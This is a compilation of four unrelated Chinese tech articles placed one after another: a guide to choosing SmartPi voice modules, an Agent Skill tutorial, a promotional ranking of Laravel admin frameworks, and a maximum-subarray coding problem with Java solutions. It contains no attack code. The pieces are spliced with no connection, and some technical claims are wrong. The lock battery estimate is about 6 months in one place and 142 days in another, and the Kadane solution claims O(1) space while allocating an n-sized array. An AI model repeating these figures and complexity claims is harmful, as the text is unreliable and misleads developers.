前言

2026 年，语音交互技术已经从简单的"命令-响应"模式，发展到融合 AI 大模型的自然对话阶段。在产品开发过程中，开发者面临着越来越多的选择：

• 离线语音 vs 在线语音，如何平衡？
• 传统命令词 vs AI 大模型，哪个更适合我的产品？
• 单一功能 vs 多模态融合，产品定位如何选择？

本文基于 SmartPi 平台的完整产品矩阵，结合真实开发案例，系统性地分析 2026 年语音产品开发的技术趋势和选型策略。

一、2026 年语音产品技术趋势

1.1 三大技术路线

1.2 产品形态演进

2024年以前：
┌─────────────────────────────────────┐
│ 唤醒词 → 命令词 → 固定动作           │
│ "打开台灯" → GPIO高电平 → 灯亮     │
└─────────────────────────────────────┘
​
2025年：
┌─────────────────────────────────────┐
│ 唤醒词 → 自然说 → 条件判断 → 动作    │
│ "把灯调暗一点" → 变量-10 → PWM调节  │
└─────────────────────────────────────┘
​
2026年：
┌─────────────────────────────────────┐
│ 免唤醒/声纹 → AI对话 → 多模态响应   │
│ "我回来了" → 识别用户 → 场景联动   │
└─────────────────────────────────────┘

二、产品选型决策矩阵

2.1 按应用场景选型

2.2 按成本敏感度选型

成本敏感度排序（从低到高）：
​
SU-03T < CI-03T < SU-13T < SU-21T/22T < CI-73T < SU-32T < JX-A7T < SU-63T < CI-95C < JX-17T
​
价格区间参考（仅供参考，以实际询价为准）：
- ¥5以下：SU-03T系列（入门级）
- ¥5-10：CI-03T、SU-13T、SU-21T（中端）
- ¥10-20：CI-73T、SU-32T、JX-A7T（高端）
- ¥20以上：CI-95C、JX-17T（旗舰）

2.3 按功能需求选型

三、2026 年新增技术特性

3.1 免唤醒模式

传统模式：

用户："你好小美，打开台灯"
设备：检测唤醒词 → 识别命令 → 执行动作
响应时间：约1-2秒

免唤醒模式：

用户："打开台灯"
设备：直接识别命令 → 执行动作
响应时间：约0.5秒

适用场景：

• 需要快速响应的产品（如智能灯控面板）
• 固定位置、近距离使用
• 噪声相对较低的环境

3.2 AI 大模型集成

JX-A7T 和 JX-17T 模组支持离在线混合架构：

┌─────────────────────────────────────────────────────────┐
│                 AI大模型集成架构                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  本地处理                    云端处理                    │
│  ┌──────────┐              ┌──────────┐                │
│  │ 离线唤醒  │ ──快速────►  │ AI大模型  │                │
│  │ 离线命令  │              │ 对话理解  │                │
│  │ 常用控制  │              │ 知识库    │                │
│  └──────────┘              └──────────┘                │
│       │                          │                      │
│       └────────── 数据同步 ──────┘                      │
│                                                         │
└─────────────────────────────────────────────────────────┘

优势：

• 离线功能保证基础可用性
• AI 能力提供更好的对话体验
• 网络故障时降级为纯离线模式

3.3 外接屏幕支持

随着用户对可视化交互的需求增加，2026 年更多产品开始集成屏幕显示：
显示内容类型：

• 设备状态（在线/离线、音量、模式）
• 对话内容（识别结果、回复语）
• 传感器数据（温湿度、光照）
• 时间日期、天气信息

技术方案：

• 小尺寸 OLED：I2C 接口，适用于 SU-32T 等模组
• 外部 MCU 驱动：UART 通信，适用于复杂显示需求
• 一体化模组：即将推出的带屏幕模组

四、典型产品开发案例

案例 1：智能照明产品

需求描述：

• 语音控制开关
• 亮度调节（多档位）
• 调光色温切换（双色温产品）
• 手机 APP 控制

选型方案：

配置要点：

命令词配置：
  - 打开/关闭灯：基础开关
  - 调亮/调暗：变量±10，PWM输出
  - 最亮/最暗：变量边界值
  - 暖光/冷光/白光：色温PWM切换
​
变量定义：
  - brightness: 0-100（亮度百分比）
  - colortemp: 0/1/2（色温模式）

案例 2：智能门锁产品

需求描述：

• 语音密码开锁
• 声纹识别验证
• 超低功耗（电池供电）
• 离线工作

选型方案：

功耗优化策略：

低功耗配置：
  - 深度休眠唤醒阈值：中
  - 进入休眠时间：5秒
  - 语音唤醒灵敏度：中
  - 触摸触发：GPIO输入（低功耗）
​
预期续航：
  - 待机电流：~2mA
  - 工作电流：~50mA（短暂）
  - 每日使用20次：约6个月续航

案例 3：智能中控屏产品

需求描述：

• 屏幕显示设备状态
• AI 对话能力
• 多设备联动控制
• 离在线混合工作

选型方案：

系统架构：

┌─────────────────────────────────────────────────────────┐
│                  中控屏系统架构                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  ┌────────────┐    UART    ┌────────────┐              │
│  │  JX-A7T    │ ◄─────────► │  屏幕MCU   │              │
│  │  语音模组   │            │  (显示驱动) │              │
│  └────────────┘            └──────┬─────┘              │
│       │                           │                     │
│       │ WiFi                    │ SPI/I2C              │
│       ▼                           ▼                     │
│  ┌────────────┐            ┌────────────┐              │
│  │  云端服务   │            │   TFT屏幕   │              │
│  │  (AI大模型) │            │   (2.4寸)   │              │
│  └────────────┘            └────────────┘              │
│                                                         │
└─────────────────────────────────────────────────────────┘

五、开发趋势与最佳实践

5.1 模块化设计理念

2026 年的产品开发越来越强调模块化：

传统开发模式：
需求 → 硬件设计 → 固件开发 → 调试 → 量产
       └────────────────┘ 一次性投入
​
模块化开发模式：
┌─────────────────────────────────────┐
│ 通用模块 + 定制化配置                 │
├─────────────────────────────────────┤
│ • 语音识别模块（标准件）             │
│ • 控制逻辑模块（平台配置）           │
│ • 业务逻辑模块（自定义）             │
│ • 外设驱动模块（标准接口）           │
└─────────────────────────────────────┘

5.2 快速原型开发

工具链选择：

5.3 测试与验证

完整的测试流程：

1. 单元测试
   ├─ 语音识别率测试（各命令词）
   ├─ 功能响应测试（GPIO/UART输出）
   └─ 稳定性测试（长时间运行）
​
2. 集成测试
   ├─ 多设备联动测试
   ├─ 网络连接测试（在线方案）
   └─ 异常恢复测试（断网重启）
​
3. 用户体验测试
   ├─ 响应时间测试
   ├─ 误唤醒率测试
   └─ 声纹识别准确率测试

六、常见问题与解决方案

Q1：纯离线方案还能满足 2026 年的用户需求吗？

A：可以，但需要明确产品定位。

• 适用场景：单一功能产品（照明、风扇、门锁）
• 优势：响应快、无需网络、隐私安全、成本低
• 局限：对话能力有限，需要预先设计所有命令

建议：对于明确控制类产品，纯离线仍然是首选方案。

Q2：什么时候需要考虑 AI 大模型？

A：当产品需要以下能力时：

• 自然语言理解（非固定命令词）
• 多轮对话能力
• 知识问答功能
• 复杂推理能力

成本考虑：AI 大模型方案成本是纯离线的 2-3 倍，需要评估目标用户群体的付费意愿。

Q3：如何平衡功能丰富度和开发成本？

A：采用渐进式开发策略：

阶段1：基础版（MVP）
├─ 纯离线方案
├─ 核心功能（开关、档位）
└─ 快速上市验证市场
​
阶段2：增强版
├─ 保留离线基础
├─ 增加自然说、条件判断
└─ 提升用户体验
​
阶段3：旗舰版
├─ 离在线混合
├─ AI大模型对话
└─ 多模态交互

Q4：电池供电产品如何选择模组？

A：重点关注功耗参数：

续航估算公式：

续航天数 = 电池容量(mAh) / (待机电流×待机时间占比 + 工作电流×工作时间占比) × 24
​
示例：4节AA电池（2000mAh×4=8000mAh）
- 待机电流：2mA
- 每日使用：20次×3秒×50mA=8.33mAh
- 每日总消耗：2mA×24h + 8.33mAh ≈ 56.33mAh
- 续航：8000/56.33 ≈ 142天

七、总结与展望

2026 年选型建议

未来技术趋势

1. 边缘 AI 能力增强：更多模组将内置轻量级大模型
2. 多模态融合：语音 + 视觉 + 触控的融合交互
3. 更低功耗：新一代芯片将功耗降低至亚毫瓦级别
4. 标准化接口：MCP 等标准化协议促进生态互联

参考资源

素材来源：SmartPi 官方文档 + 技术交流群真实案例 + 行业趋势分析

• SmartPi 官方文档：SmartPi 官方文档
• 智能公元平台：智能公元平台

关键词：语音产品、选型指南、技术趋势、离线语音、AI 大模型、2026 年趋势、产品开发
适用模组：SU-03T、CI-03T、SU-13T、SU-21T、SU-23T、CI-73T、SU-32T、JX-A7T、JX-17T、SU-63T、CI-95C、JX-B5C

一、为什么 Agent Skill 突然火了？

你是不是也有过这样的崩溃时刻？

• 每次让 Claude 写代码，都要重复粘贴 请使用我们的代码规范：驼峰命名、2空格缩进、必须写单元测试 ——像极了每天入职新公司；
• 好不容易调教好的 Prompt 换个项目就完全失效，之前的调教经验归零；
• 团队里每个人给 AI 的指令不一样，导致输出的内容一会儿像资深架构师，一会儿像刚毕业的新手。

这些问题的根源，其实是 AI 的 专业能力无法沉淀。直到 2025 年 10 月 Anthropic 推出 Agent Skill（又名 Claude Code Skill）正是为解决这些问题而生。这不仅是 Claude 的新功能，更是一个 开放的跨平台标准，目前已被 OpenAI、Cursor、Trae 等主流工具跟进支持。

本文将带你从 是什么 到 怎么用在实际工作中，彻底掌握这个比 Prompt 更高级、比 MCP 更易用的 AI 编程神器。

二、到底什么是 Agent Skill？

用最通俗的比喻：Agent Skill 是 AI 的 入职手册 + 工具箱。

想象你招了一位天才实习生 Claude 他智商极高但不懂你们公司的业务。传统的做法是每次布置任务都口头交代一遍 Prompt 而 Agent Skill 则是给他一本完整的标准作业程序 SOP：

• 📋 入职手册（SKILL.md）：包含岗位描述、工作流程、注意事项
• 🧰 工具箱（Scripts）：处理特定任务的脚本和代码
• 📚 参考资料（References）：行业规范、模板素材、API文档

技术本质：Agent Skill 是一个标准化的文件夹结构，核心必须包含 SKILL.md 文件（YAML元数据 + Markdown说明），可选包含脚本、模板等资源文件。

my-skill/            # 技能包根目录
├── SKILL.md         # 📄 核心文件：元数据 + 工作流指令（必须）
├── scripts/         # 🔧 可选：自动化脚本（Python/Bash）
├── references/      # 📖 可选：专业文档、API手册、FAQ
└── assets/          # 🎨 可选：模板、示例、静态资源

当 AI 检测到相关任务时，会自动 翻开 对应的手册，严格按照既定流程执行，无需你每次都重复交代。

三、Skill工作原理

Skill 最精妙的设计，是它的 渐进式加载机制 —— 就像你查字典，先看目录，再翻对应章节，最后查附录，不会一上来就把整本书塞进脑子里。

3.1. 三层加载：用最少的 Token 做最多的事

3.2. 四步执行流程

1. 🎯 意图匹配：AI 扫描所有 Skill 的元数据，找到最匹配当前任务的技能
2. 📖 读取指南：加载对应 SKILL.md，掌握执行步骤、检查点、输出规范
3. 🔧 按需执行：调用 scripts/ 中的脚本，查询 references/ 中的资料
4. ✅ 反馈结果：按模板输出成果，或询问缺失信息

四、现有技术的对比

4.1. Agent Skill vs Prompt

一句话总结：Prompt 是 口头交代，Skills 是书面 SOP + 工具箱。

4.2. Agent Skill vs 多 Agent 架构

4.3. Agent Skill vs MCP

MCP 让 AI 能连上数据库，Skill 教 AI 怎么按你们公司的规范查数据、生成报表、处理异常。两者配合，AI 才能真正成为"懂行的专家"。

五、创建你的第一个 Agent Skill

下面用 会议纪要整理助手 为例，从零创建一个 Skill

场景：开会录音转文字后，需要整理成结构化会议纪要。不同会议类型（周会/项目复盘/客户沟通）需要不同的整理模板。

5.1. 创建 Skill 文件夹结构

新建一个名为 meeting-minutes 的文件夹，总体的文件结构如下：

/meeting-minutes/
├── SKILL.md                    # L1：技能元数据，L2：内容
├── references/                 # L3：按会议类型按需加载
│   ├── weekly-rule.md          # 周会模板
│   ├── retro-rule.md           # 复盘模板
│   └── client-rule.md          # 客户沟通模板

5.2. SKILL.md（核心文件）

5.2.1. 元数据

在 SKILL.md 文件最开头以上下两个 --- 作为元数据标识

---
name: meeting-minutes
description: 办公室通用会议纪要整理助手，支持周会/项目复盘会/客户沟通会三类场景，自动识别会议类型，按需加载对应会议规则，智能提取关键信息，输出结构化纪要。
---

5.2.2. SKILL内容

5.3. 编写模块化配置references

通过文件分离，AI每次只读取当前任务所需的规则，避免 Context 污染

5.4. 测试你的 Skill（以 Trae 为例）

Trae 作为国内的 AI IDE 已原生支持 Agent Skills

• 官网：https://www.trae.cn/
• 下载并安装 TRAE IDE

5.4.1. 导入Skill

1. 创建一个文件夹，例如 my_skills
2. 使用 TRAE IDE 打开这个文件夹
3. 将 meeting-minutes 文件夹复制到 my_skills/.trae/skills/ 目录下

5.4.2. 输入提示词

需要切换为 SOLO 模式，然后在对话框输入以下提示词：

帮我生成周会会议纪要

原始文本：
小明：用户模块我搞完了，已经提测。
小红：接口文档我还没弄，我负责写，周五前给出来。
张三：测试环境那个问题搞不定，需要运维老陈帮忙看看。
李四：下周我打算开始订单模块，周三前出个技术方案看看。
王五：数据库设计谁review一下？
小明：我来吧，不过得明天才有空。

5.4.3. 执行Skill

5.4.4. 最终输出以下内容

六、本文Skill下载地址

本文案例 会议纪要整理助手 Skill 的下载地址如下：

• Gitee地址：

https://gitee.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

• Github地址：

https://github.com/zlt2000/my-agent-skill/tree/master/meeting-minutes

在实际使用过程中本文 Skill 还可以进行以下迭代优化：

1. 在 references 里扩展更多的 会议类型 模板；
2. 在 script 文件夹写 Python 脚本，实现输出内容 导出word文档 或者 同步给飞书。

七、总结

Agent Skills 的正式发布，标志着 AI 协作从 提示词工程 正式迈入 技能工程 的全新范式。它将人类专家的经验、标准化流程与行业最佳实践，封装成 AI 可理解、可执行、可复用的数字资产。

核心价值优势：

1. 降本增效： 通过渐进式披露、按需加载机制，大幅减少 Token 消耗，同时让 AI 聚焦核心任务，推理效率与执行稳定性同步提升；
2. 跨平台互通： 作为开放标准，实现 “一次构建、多端复用”，Skill 可无缝适配 Claude、Cursor、Trae、Copilot 等主流平台，打破工具壁垒；
3. Skill 市场： 构建起类似 VS Code 插件市场的 Skill 生态，官方与社区共同打造技能商店，让专业能力可分享、可迭代、可规模化应用。

本文由mdnice多平台发布

2026 年最值得使用的 7 款 PHP 管理后台框架推荐

搭建企业级 PHP 后台管理系统，选择一款合适的 Laravel admin 框架至关重要。PHP 作为 Web 开发领域最成熟的语言之一，拥有众多优秀的后台管理框架。Laravel 框架凭借优雅的语法和完善的生态，已成为 GitHub 上 stars 最高的 PHP 框架，围绕它诞生了大量优质的 PHP 后台框架。

本文将从开发效率、灵活性、学习成本三个维度，为你推荐 2026 年最值得使用的 7 款 PHP admin 后台管理系统。无论你是需要快速搭建企业后台、开发 SaaS 平台，还是构建电商管理系统，都能找到适合的 Laravel 后台管理解决方案。

PHP 后台管理框架选型指南

在选择 PHP 管理后台框架之前，需要先明确项目需求。不同类型的 Laravel admin 框架适用于不同场景，选错框架可能导致后期开发成本大幅增加。下面按抽象程度从低到高，介绍三种主流的 PHP 后台框架类型：

脚手架型

脚手架型框架通过命令行自动生成 Model、Controller、路由和基础 CRUD 代码。优势是灵活性高，生成的代码完全可控；劣势是后期维护需要手动修改生成的代码。

CRUD 接口型

CRUD 接口型框架提供一套完整的后台管理组件，开发者只需定义资源配置即可自动生成管理界面。代码量相对较少，但遇到复杂业务逻辑时需要额外扩展。本文推荐的 Laravel Nova、CatchAdmin、Filament、Backpack、Orchid 都属于这种类型。这类 PHP 后台管理系统在灵活性和开发效率之间取得了良好平衡，是目前最主流的选择。

可视化编程

可视化编程型框架抽象程度最高，通过拖拽或配置即可生成后台界面。部署快速，对编程能力要求较低，但灵活性也相对受限。Voyager 和 QuickAdminPanel 属于这种类型。

2026 年 7 款 PHP 后台管理框架详解

以下按推荐顺序介绍 7 款主流的 Laravel admin 后台管理框架，涵盖付费和开源方案，适用于从个人项目到企业级应用的各种场景。

Laravel Nova - 官方出品的标杆之作

• 官网: https://nova.laravel.com/
• 类型: CRUD 接口型
• 价格: $99（单项目）/ $299（无限项目）

Laravel Nova 是 Laravel 框架作者 Taylor Otwell 亲自打造的官方后台管理系统。作为官方产品，Nova 在架构设计和性能优化上都达到了极高水准。

Nova 采用 Vue.js 构建前端，提供了资源管理、搜索过滤、图表统计、自定义操作等开箱即用的功能。扩展生态非常完善，几乎每天都有新的扩展包在 Nova Packages 上线。

优势:

• 官方维护，更新及时，与 Laravel 版本同步
• 性能优化到极致，大数据量下表现稳定
• 扩展生态丰富，覆盖各种业务场景

劣势:

• 付费产品，小团队可能有成本压力
• 源码不开放，深度定制受限

适用场景: 商业项目、对稳定性要求高的企业级应用。

CatchAdmin - 企业级前后端分离方案

• 官网: https://catchadmin.com/
• 文档: https://doc.catchadmin.com/
• GitHub: https://github.com/catch-admin/catchadmin
• Demo: https://v5.catchadmin.com

CatchAdmin 是一款基于 Laravel 12.x 和 Vue 3 + Element Plus 的企业级前后端分离后台管理系统。它充分利用 PHP 8+ 特性，采用现代化架构设计，是目前最受欢迎的开源 Laravel admin 框架之一。

对于需要搭建企业级 PHP 后台管理系统的团队来说，CatchAdmin 提供了开箱即用的完整解决方案。它不仅仅是一个 Laravel 后台框架，更是一套经过生产验证的企业级开发脚手架。

CatchAdmin 的核心优势在于模块化设计。每个业务模块拥有独立的控制器、路由、模型和数据表，模块之间完全解耦。这种架构让团队可以并行开发不同模块，后期维护也更加轻松。

核心功能

• 用户管理: 用户增删改查、密码重置、不同用户可配置不同首页和功能模块
• 部门管理: 多级组织架构配置，树形结构展示，支持层级调整
• 角色权限: 树结构角色体系，支持菜单权限、按钮级权限、数据权限三级管控
• 菜单管理: 可视化配置系统菜单、路由与按钮资源，前后端权限一致
• 代码生成: 一键生成前后端代码（PHP、Vue）及数据库迁移文件，直接生成到模块
• 文件上传: 支持本地、七牛云、阿里云、腾讯云等多种存储方式
• 日志系统: 操作日志、登录日志完整记录，支持多维检索
• 插件系统: 插件即 Composer 包，深度融入 Composer 生态

# 快速安装，五分钟即可构建
composer create catchadmin/catchadmin
cd catchadmin
php artisan catch:install

CatchAdmin 还支持 Vue 即时渲染，前端代码修改后无需编译即可生效，大幅提升开发调试效率。

优势:

• 现代化架构，基于 Laravel 12.x + Vue 3 + Element Plus
• 模块化设计，业务模块完全独立，支持按需加载
• 一键代码生成，前后端代码 + 数据库迁移一步到位
• RBAC 权限系统完善，支持部门数据隔离和 API 接口权限验证
• 中文文档详尽，社区活跃，持续更新

劣势:

• 需要同时掌握 Vue 和 Laravel
• 专业版部分高级功能需付费

适用场景: 企业后台管理、SaaS 平台、电商后台、CRM/OA 等企业应用、中大型项目。

Filament - 社区最火的后起之秀

• 官网: https://filamentphp.com/
• GitHub: https://github.com/filamentphp/filament
• 类型: CRUD 接口型
• 价格: 开源免费（MIT 协议）

Filament 是 2021 年发布的 Laravel admin 框架，近两年在社区的热度持续攀升，已成为 Laravel 生态中最受欢迎的开源后台框架之一。

Filament 基于 Livewire 和 Alpine.js 构建，采用 Tailwind CSS 设计。它不仅仅是一个后台管理框架，还包含表单构建器、表格构建器、通知系统等独立组件，可以单独使用。

// Filament 资源定义示例
use Filament\Resources\Resource;

class PostResource extends Resource
{
    protected static ?string $model = Post::class;

    public static function form(Form $form): Form
    {
        return $form->schema([
            TextInput::make('title')->required(),
            RichEditor::make('content'),
            Select::make('status')->options([
                'draft' => '草稿',
                'published' => '已发布',
            ]),
        ]);
    }
}

优势:

• 完全开源，社区贡献活跃
• 基于 Livewire，无需编写 JavaScript
• 组件丰富，UI 设计现代
• 文档详尽，学习曲线平缓

劣势:

• Livewire 机制对实时性要求高的场景可能不适用
• 相比 Nova，生态成熟度稍逊

适用场景: 开源项目、个人项目、中小型企业项目。

Backpack - 灵活与效率的平衡

• 官网: https://backpackforlaravel.com/
• GitHub: https://github.com/laravel-backpack
• 类型: 混合型
• 价格: 非商业免费 / 商业项目 €69 起

Backpack 自 2016 年发布以来，一直保持稳定更新。它提供了一套完整的 CRUD 组件和丰富的字段类型，同时还有可视化开发工具 Backpack DevTools。

Backpack 的文档写得非常详尽，配有视频教程，学习成本较低。它的设计哲学是「约定优于配置」，大部分场景下只需简单配置即可完成开发。

优势:

• 文档优秀，有视频教程
• 字段类型丰富，覆盖常见需求
• DevTools 支持可视化开发
• 主题可定制

劣势:

• 商业项目需要付费
• 前端基于 jQuery，技术栈相对传统

适用场景: 快速原型开发、对文档要求高的团队。

Orchid - 开源社区的优秀选择

• 官网: https://orchid.software/
• GitHub: https://github.com/orchidsoftware/platform
• 类型: CRUD 接口型
• 价格: 开源免费（MIT 协议）

Orchid 由俄罗斯开发者 Alexandr Chernyaev 创建，是一个功能完善的 Laravel 后台管理框架。它内置了表单构建器、表格过滤器、排序、搜索等功能，细节处理得非常到位。

Orchid 的亮点在于它的 Screen 概念，将页面逻辑封装在 Screen 类中，代码组织清晰。同时，Orchid 拥有活跃的开源社区和大量的赞助者，保证了项目的持续发展。

// Orchid Screen 示例
use Orchid\Screen\Screen;

class PostListScreen extends Screen
{
    public function query(): array
    {
        return [
            'posts' => Post::paginate(),
        ];
    }

    public function layout(): array
    {
        return [
            PostListLayout::class,
        ];
    }
}

优势:

• 完全开源，社区活跃
• Screen 架构清晰，便于维护
• 权限系统完善
• 支持多语言

劣势:

• 学习曲线相对较陡
• 中文资源较少

适用场景: 开源项目、需要精细权限控制的系统。

Voyager - 可视化管理的先驱

• 官网: https://voyager.devdojo.com/
• GitHub: https://github.com/the-control-group/voyager
• 类型: 可视化编程
• 价格: 开源免费（MIT 协议）

Voyager 与其他 Laravel admin 有所不同，它可以根据数据库表自动创建 BREAD（Browse、Read、Edit、Add、Delete）界面，无需编写代码。

Voyager 内置了媒体管理器，支持在 UI 层面管理文件。菜单构建器让你可以直接在页面上拖拽管理菜单结构。对于需要快速搭建后台的项目，Voyager 是一个不错的选择。

优势:

• 可视化配置，上手快
• 内置媒体管理器
• 菜单构建器直观易用
• 社区成熟，文档清晰

劣势:

• 灵活性受限，复杂业务场景难以满足
• 前端基于 Blade，定制成本较高

适用场景: 快速原型、内容管理系统、对灵活性要求不高的项目。

QuickAdminPanel - 在线生成定制代码

• 官网: https://quickadminpanel.com/
• 类型: 可视化编程
• 价格: $199/年

QuickAdminPanel 的理念就是「快」。整个开发流程在线完成：在官网配置 admin 面板，选择需要的模块，点击下载，获得定制代码，部署到服务器。

这种模式特别适合需求明确、不需要太多灵活性的项目。生成的代码基于 Laravel 标准结构，后期也可以手动修改。

优势:

• 在线配置，无需本地环境
• 生成的代码规范，可二次开发
• 模块丰富，覆盖常见需求

劣势:

• 付费订阅模式
• 复杂逻辑需要手动编写

适用场景: 快速启动项目、外包项目、MVP 开发。

PHP 管理后台框架对比

以下表格从价格、技术栈、学习曲线、灵活性、前后端分离五个维度对比 7 款 Laravel admin 后台管理框架：

从表格可以看出，如果你需要一款免费、前后端分离、灵活性高的 PHP 后台管理框架，CatchAdmin 是为数不多同时满足这三个条件的选择。

如何选择合适的 PHP 后台管理框架

选择 Laravel admin 后台管理框架需要综合考虑项目规模、团队技术栈、预算等因素：

• 追求官方稳定和生态: Laravel Nova 是首选，但需要付费
• 需要前后端分离架构: CatchAdmin 提供了完整的 Vue 3 + Laravel 解决方案，且核心功能免费开源
• 纯后端开发者: Filament 基于 Livewire，无需编写前端代码
• 快速原型开发: Voyager 或 QuickAdminPanel 可以快速启动
• 精细权限控制: Orchid 和 CatchAdmin 都提供了完善的 RBAC 权限系统

无论选择哪个 Laravel 后台框架，建议先在小项目中试用，评估是否符合团队的开发习惯和项目需求。
[原文 2026 年最值得使用的 7 款 PHP 管理后台框架推荐
](https://catchadmin.com/post/2026-02/php-admin-panel-2026)

题⽬描述

输⼊⼀个⻓度为n 的整型数组array ，数组中的⼀个或连续多个整数组成⼀个⼦数组，找到⼀个具有
最⼤和的连续⼦数组。

1. ⼦数组是连续的，⽐如[1,3,5,7,9] 的⼦数组有[1,3] ， [3,5,7] 等等，但是[1,3,7] 不是⼦数组
2. 如果存在多个最⼤和的连续⼦数组，那么返回其中⻓度最⻓的，该题数据保证这个最⻓的只存在⼀个
3. 该题定义的⼦数组的最⼩⻓度为1 ，不存在为空的⼦数组，即不存在[]是某个数组的⼦数组
4. 返回的数组不计⼊空间复杂度计算

示例 1
输⼊：[1,-2,3,10,-4,7,2,-5]
返回值：[3,10,-4,7,2]
说明：经分析可知，输⼊数组的⼦数组[3,10,-4,7,2]可以求得最⼤和为18，故返回[3,10,-4,7,2]

示例 2
输⼊：[1]
返回值：[1]

思路及解答

暴力枚举

通过三重循环枚举所有可能的子数组，使用三重循环枚举所有可能的子数组起始和结束位置，计算每个子数组的和

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        
        int n = array.length;
        int maxSum = Integer.MIN_VALUE;
        int start = 0, end = 0;
        
        // 第一重循环：子数组起始位置
        for (int i = 0; i < n; i++) {
            // 第二重循环：子数组结束位置
            for (int j = i; j < n; j++) {
                int currentSum = 0;
                // 第三重循环：计算子数组和
                for (int k = i; k <= j; k++) {
                    currentSum += array[k];
                }
                
                // 更新最大和及位置（优先选择长度更长的）
                if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
                    maxSum = currentSum;
                    start = i;
                    end = j;
                }
            }
        }
        
        // 构建结果数组
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
}

• 时间复杂度：O(n³)，三重循环嵌套
• 空间复杂度：O(1)，除结果外只使用常数空间

优化枚举法（前缀和思想）

在暴力法基础上优化，利用前缀和在计算子数组和时复用之前的结果，减少一层循环

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        
        int n = array.length;
        int maxSum = Integer.MIN_VALUE;
        int start = 0, end = 0;
        
        // 外层循环：子数组起始位置
        for (int i = 0; i < n; i++) {
            int currentSum = 0;
            // 内层循环：从起始位置向后累加
            for (int j = i; j < n; j++) {
                currentSum += array[j]; // 复用之前计算的结果
                
                // 更新最大和（优先选择长度更长的）
                if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
                    maxSum = currentSum;
                    start = i;
                    end = j;
                }
            }
        }
        
        return buildResult(array, start, end);
    }
    
    private int[] buildResult(int[] array, int start, int end) {
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
}

• 时间复杂度：O(n²)，减少了一层循环
• 空间复杂度：O(1)，常数级别空间复杂度

分治法（递归思维）

采用分治思想，将问题分解为更小的子问题

将问题分解为左半部分、右半部分和跨越中间的三部分

即递归求解左右子数组，合并时处理跨越中间的情况

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        Result result = findMaxSubarrayHelper(array, 0, array.length - 1);
        return buildResult(array, result.start, result.end);
    }
    
    private Result findMaxSubarrayHelper(int[] array, int left, int right) {
        // 基准情况：单个元素
        if (left == right) {
            return new Result(left, right, array[left]);
        }
        
        int mid = left + (right - left) / 2;
        
        // 递归求解左右两部分
        Result leftResult = findMaxSubarrayHelper(array, left, mid);
        Result rightResult = findMaxSubarrayHelper(array, mid + 1, right);
        Result crossResult = findMaxCrossingSubarray(array, left, mid, right);
        
        // 返回三者中的最大值（长度优先）
        return getMaxResult(leftResult, rightResult, crossResult);
    }
    
    private Result findMaxCrossingSubarray(int[] array, int left, int mid, int right) {
        // 向左扩展找最大和
        int leftSum = Integer.MIN_VALUE;
        int sum = 0;
        int maxLeft = mid;
        for (int i = mid; i >= left; i--) {
            sum += array[i];
            if (sum > leftSum) {
                leftSum = sum;
                maxLeft = i;
            }
        }
        
        // 向右扩展找最大和
        int rightSum = Integer.MIN_VALUE;
        sum = 0;
        int maxRight = mid + 1;
        for (int i = mid + 1; i <= right; i++) {
            sum += array[i];
            if (sum > rightSum) {
                rightSum = sum;
                maxRight = i;
            }
        }
        
        return new Result(maxLeft, maxRight, leftSum + rightSum);
    }
    
    private Result getMaxResult(Result r1, Result r2, Result r3) {
        Result maxResult = r1;
        if (r2.sum > maxResult.sum || (r2.sum == maxResult.sum && (r2.end - r2.start) > (maxResult.end - maxResult.start))) {
            maxResult = r2;
        }
        if (r3.sum > maxResult.sum || (r3.sum == maxResult.sum && (r3.end - r3.start) > (maxResult.end - maxResult.start))) {
            maxResult = r3;
        }
        return maxResult;
    }
    
    private int[] buildResult(int[] array, int start, int end) {
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
    
    // 辅助类存储子数组结果
    class Result {
        int start, end, sum;
        Result(int s, int e, int sum) {
            this.start = s;
            this.end = e;
            this.sum = sum;
        }
    }
}

• 时间复杂度：O(n log n)，递归深度为log n，每层处理时间为O(n)
• 空间复杂度：O(log n)，递归调用栈的深度

动态规划-Kadane算法（最优解）

遍历数组，维护当前子数组和，根据规则重置或扩展当前子数组

假设现在有 n 个元素，突然加上⼀个元素，变成 n+1 个元素，对连续⼦数组的最⼤和有什么影响呢？

我们只需要知道以每⼀个元素结尾的最⼤连续⼦数组，再维护⼀个最⼤的值即可。

假设数组为num[] ，⽤ dp[i] 表示以下标 i 为终点的最⼤连续⼦数组和，遍历每⼀个新的元素nums[i+1] ，以 num[i+1] 为连续⼦数组的情况只有两种：

• dp[i] + num[i+1]
• 只有num[i+1]

所以以nums[n] 结尾的最⼤连续⼦数组和为： dp[i] = max( dp[i-1] + num[i], num[i])

在计算的过程中，需要维护⼀个最⼤的值，并且把该连续⼦数组的左边界以及右边界维护好，最后根据维护的区间返回。

public class Solution85 {
    public int[] FindGreatestSumOfSubArray(int[] array) {
        int[] dp = new int[array.length];
        dp[0] = array[0];
        int maxsum = dp[0];
        int left = 0, right = 0;
        int maxLeft = 0, maxRight = 0;
        for (int i = 1; i < array.length; i++) {
            right++;
            dp[i] = Math.max(dp[i - 1] + array[i], array[i]);
            if (dp[i - 1] + array[i] < array[i]) {
                left = right;
            }
            // 更新最⼤值以及更新最⼤和的⼦数组的边界
            if (dp[i] > maxsum || dp[i] == maxsum && (right - left + 1) > (maxRight - maxLeft + 1)) {
                maxsum = dp[i];
                maxLeft = left;
                maxRight = right;
            }
        }
        // 保存结果
        int[] res = new int[maxRight - maxLeft + 1];
        for (int i = maxLeft, j = 0; i <= maxRight; i++, j++) {
            res[j] = array[i];
        }
        return res;
    }
}

• 时间复杂度：O(n)，单次遍历数组
• 空间复杂度：O(1)，只使用常数变量